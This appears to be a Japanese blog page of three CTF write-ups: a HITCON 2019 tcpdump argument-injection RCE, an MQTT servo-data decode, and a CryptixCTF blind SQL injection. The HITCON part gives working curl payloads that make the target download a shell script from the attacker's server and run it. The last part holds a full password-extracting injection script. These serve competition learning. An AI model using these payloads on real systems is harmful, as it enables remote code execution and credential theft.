HITCON CTF 2019 Writeup - Virtual Public Network
Question
Vulnerable Point of Your Network :) http://13.231.137.9
Solution
HTMLソースを表示する。
<!-- Hint for you :) <a href='diag.cgi'>diag.cgi</a> <a href='DSSafe.pm'>DSSafe.pm</a> -->
diag.cgiは以下のとおり。
#!/usr/bin/perl use lib '/var/www/html/'; use strict; use CGI (); use DSSafe; sub tcpdump_options_syntax_check { my $options = shift; return $options if system("timeout -s 9 2 /usr/bin/tcpdump -d $options >/dev/null 2>&1") == 0; return undef; } print "Content-type: text/html\n\n"; my $options = CGI::param("options"); my $output = tcpdump_options_syntax_check($options); # backdoor :) my $tpl = CGI::param("tpl"); if (length $tpl > 0 && index($tpl, "..") == -1) { $tpl = "./tmp/" . $tpl . ".thtml"; require($tpl); }
※DSSafe.pmは大きいため省略。
テキストボックスに入力した文字列は、tcpdumpコマンドのオプションにセットされる。
また、tpl
パラメータを付与すると./tmp/配下のファイルをrequire
で実行してくれる。
つまり、tcpdumpコマンドで./tmp/配下に実行させたいperlのソースコードファイルを配備するのが攻略方法のようだ。
出題者がOrange Tsai (@orange_8361)氏なので、氏のBlogや登壇資料を確認する。
Orange: Attacking SSL VPN - Part 3: The Golden Pulse Secure SSL VPN RCE Chain, with Twitter as Case Study! https://i.blackhat.com/USA-19/Wednesday/us-19-Tsai-Infiltrating-Corporate-Intranet-Like-NSA.pdf
これだ。
まずはls -l /を実行させるため、-r'$x="ls -l /",system$x#' 2>./tmp/vvvvvvvv.thtml <
をURLエンコードしてoptionsパラメータにセットする。
root@kali:/mnt/CTF/Contest# curl http://13.231.137.9/cgi-bin/diag.cgi -d "options=%2Dr%24x%3D%22ls%20%2Dl%20%2F%22%2Csystem%24x%23%202%3E%2E%2Ftmp%2Fvvvvvvvv%2Ethtml%20%3C" -d "tpl=vvvvvvvv" total 96 -rwsr-sr-x 1 root root 8520 Oct 11 23:57 $READ_FLAG$ -r-------- 1 root root 49 Oct 11 23:59 FLAG drwxr-xr-x 2 root root 4096 Oct 2 17:11 bin drwxr-xr-x 3 root root 4096 Oct 2 17:12 boot drwxr-xr-x 15 root root 2980 Oct 11 19:41 dev drwxr-xr-x 97 root root 4096 Oct 12 09:15 etc drwxr-xr-x 4 root root 4096 Oct 11 17:21 home lrwxrwxrwx 1 root root 31 Oct 2 17:12 initrd.img -> boot/initrd.img-4.15.0-1051-aws lrwxrwxrwx 1 root root 31 Oct 2 17:12 initrd.img.old -> boot/initrd.img-4.15.0-1051-aws drwxr-xr-x 20 root root 4096 Oct 11 22:11 lib drwxr-xr-x 2 root root 4096 Oct 2 17:09 lib64 drwx------ 2 root root 16384 Oct 2 17:11 lost+found drwxr-xr-x 2 root root 4096 Oct 2 17:08 media drwxr-xr-x 2 root root 4096 Oct 2 17:08 mnt drwxr-xr-x 3 root root 4096 Oct 11 17:32 opt dr-xr-xr-x 135 root root 0 Oct 11 19:41 proc drwx------ 5 root root 4096 Oct 12 09:16 root drwxr-xr-x 25 root root 960 Oct 12 15:46 run drwxr-xr-x 2 root root 4096 Oct 2 17:11 sbin drwxr-xr-x 5 root root 4096 Oct 11 17:04 snap drwxr-xr-x 2 root root 4096 Oct 2 17:08 srv dr-xr-xr-x 13 root root 0 Oct 11 23:59 sys drwxrwxrwt 3 root root 4096 Oct 12 20:13 tmp drwxr-xr-x 10 root root 4096 Oct 11 21:45 usr drwxr-xr-x 14 root root 4096 Oct 11 21:45 var lrwxrwxrwx 1 root root 28 Oct 2 17:12 vmlinuz -> boot/vmlinuz-4.15.0-1051-aws lrwxrwxrwx 1 root root 28 Oct 2 17:12 vmlinuz.old -> boot/vmlinuz-4.15.0-1051-aws
/$READ_FLAG$
を実行すればよさそうだが、$
記号を使用すると、DSSafe.pmの__parsecmd関数のチェックに引っかかるようだ。
そこで、/$READ_FLAG$
を実行するシェルスクリプトをダウンロードさせてから、実行させる。
シェルスクリプトを用意して、ダウンロード用のWebサーバを立てる。
root@ip-172-31-26-179:~/tmp# echo '/\$READ_FLAG\$' > exec.sh root@ip-172-31-26-179:~/tmp# python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
curl myserver/exec.sh -o /tmp/exec.sh
を実行させる。
root@kali:/mnt/CTF/Contest# curl http://13.231.137.9/cgi-bin/diag.cgi -d "options=%2Dr%24x%3D%22curl%20myserver%2Fexec%2Esh%20%2Do%20%2Ftmp%2Fexec%2Esh%22%2Csystem%24x%23%202%3E%2E%2Ftmp%2Fvvvvvvvv%2Ethtml%20%3C" -d "tpl=vvvvvvvv"
sh /tmp/exec.sh
を実行させる。
root@kali:/mnt/CTF/Contest# curl http://13.231.137.9/cgi-bin/diag.cgi -d "options=%2Dr%24x%3D%22sh%20/tmp/exec%2Esh%22%2Csystem%24x%23%202%3E%2E%2Ftmp%2Fvvvvvvvv%2Ethtml%20%3C" -d "tpl=vvvvvvvv" hitcon{Now I'm sure u saw my Bl4ck H4t p4p3r :P}
フラグゲット。
Syskron Security CTF Writeup - My servo drive is getting mad
Question
My servo drive sends strange parameters. Can you decode them? I have to go for lunch. mqtt.ctf.syskron-security.com:1883
Solution
MQTTで接続するようなので、簡単な受信スクリプトを書く。
過去の問題ではMQTT over WebSocketだったが、今回は普通のMQTT。
過去のWriteupは以下。
hxp CTF 2018 Writeup - time for h4x0rpsch0rr? - こんとろーるしーこんとろーるぶい
import paho.mqtt.client as mqtt def on_connect(client, userdata, flags, respons_code): print('connected') client.subscribe('#') def on_message(client, userdata, msg): print(msg.topic + ' ' + str(msg.payload)) client = mqtt.Client() client.on_connect = on_connect client.on_message = on_message client.connect('mqtt.ctf.syskron-security.com', 1883, keepalive=60)
実行する。
(venv3) root@kali:/mnt/CTF/Contest/Syskron Security CTF# python mqtchall.py connected servo/rpm b'0' servo/rpm b'0' servo/rpm b'0' servo/rpm b'0' servo/rpm b'0' servo/rpm b'0' servo/rpm b'0' servo/rpm b'0' servo/rpm b'153' servo/rpm b'147' servo/rpm b'158' servo/rpm b'152' servo/rpm b'132' servo/rpm b'151' servo/rpm b'154' servo/rpm b'147' servo/rpm b'143' servo/rpm b'160' servo/rpm b'146' servo/rpm b'154' servo/rpm b'160' servo/rpm b'207' servo/rpm b'138' servo/rpm b'139' servo/rpm b'130' servo/rpm b'0' servo/rpm b'0' servo/rpm b'0' servo/rpm b'0' servo/rpm b'0' (snip)
ASCII文字になりそう。
data = "153 147 158 152 132 151 154 147 143 160 146 154 160 207 138 139 130" decoded = "" for i in data.split(" "): decoded += (chr(int(i) ^ 0xff)) print(decoded)
実行する。
(venv3) root@kali:/mnt/CTF/Contest/Syskron Security CTF# python decode.py flag{help_me_0ut}
CryptixCTF'19 Writeup - Pure Magic
普通のBlind SQL Injectionの問題だが、いつも適当にリニアサーチで解いていたところをバイナリサーチで実装したので、メモとして残しておく。
Question
Like all fairy tails, you need a passphrase to pass through the cave and get the flag! https://cryptixctf.com/web3 NOTE: The flag format is flag{XXXXX} as usual.
Solution
' or 1=1#
を入力すると以下の表示。
You thought it would be that easy?! Hahaha. There is no flag. But since you have passed the phrase check, here is the query SELECT * FROM data where password='XXXXX' :)
Blind SQL Injectionでパスフレーズを特定する。
#!/usr/bin/env python # -*- coding: utf-8 -*- import requests import string import time URL = 'https://cryptixctf.com/web3/login.php' target = "" def trace_request(req): print("[+] request start") print('{}\n{}\n\n{}'.format( req.method + ' ' + req.url, '\n'.join('{}: {}'.format(k, v) for k, v in req.headers.items()), req.body, )) print("[+] request end") def trace_response(res): print("[+] response start") print('{}\n{}\n\n{}'.format( res.status_code, '\n'.join('{}: {}'.format(k, v) for k, v in res.headers.items()), res.content, )) print("[+] response end") def challenge(offset, guess): req = requests.Request( 'POST', URL, data={ "pwd" : "' or ASCII(SUBSTRING((select password from data limit 0, 1),{},1)) < {} #".format(offset + 1, guess) } ) prepared = req.prepare() #trace_request(prepared) session = requests.Session() #start = time.time() # TimeBased用 res = session.send(prepared, allow_redirects = False) #elapsed_time = time.time() - start # TimeBased用 #trace_response(res) if "There is no flag" in res.content.decode("utf-8"): return True # 取得したい文字の文字コードは予想文字の文字コードより小さい else: return False # 取得したい文字の文字コードは予想文字の文字コード以上 def binarySearch(offset): low = 0 high = 256 while low <= high: guess = (low + high) // 2 is_target_lessthan_guess = challenge(offset, guess) if is_target_lessthan_guess: high = guess else: low = guess if high == 1: return -1 elif high - low == 1: return low while True: code = binarySearch(len(target)) if code == -1: break target += chr(code) print("[+] target: " + target) print("[+] target: " + target)
実行する。
root@kali:/mnt/CTF/Contest# python3 BlindSQLInjection_binary.py [+] target: B [+] target: Bl [+] target: Bl1 [+] target: Bl1n [+] target: Bl1nD [+] target: Bl1nD_ [+] target: Bl1nD_S [+] target: Bl1nD_S0 [+] target: Bl1nD_S0r [+] target: Bl1nD_S0rc [+] target: Bl1nD_S0rc3 [+] target: Bl1nD_S0rc3r [+] target: Bl1nD_S0rc3r3 [+] target: Bl1nD_S0rc3r3r [+] target: Bl1nD_S0rc3r3ry [+] target: Bl1nD_S0rc3r3ry
flag{Bl1nD_S0rc3r3ry}
がフラグ。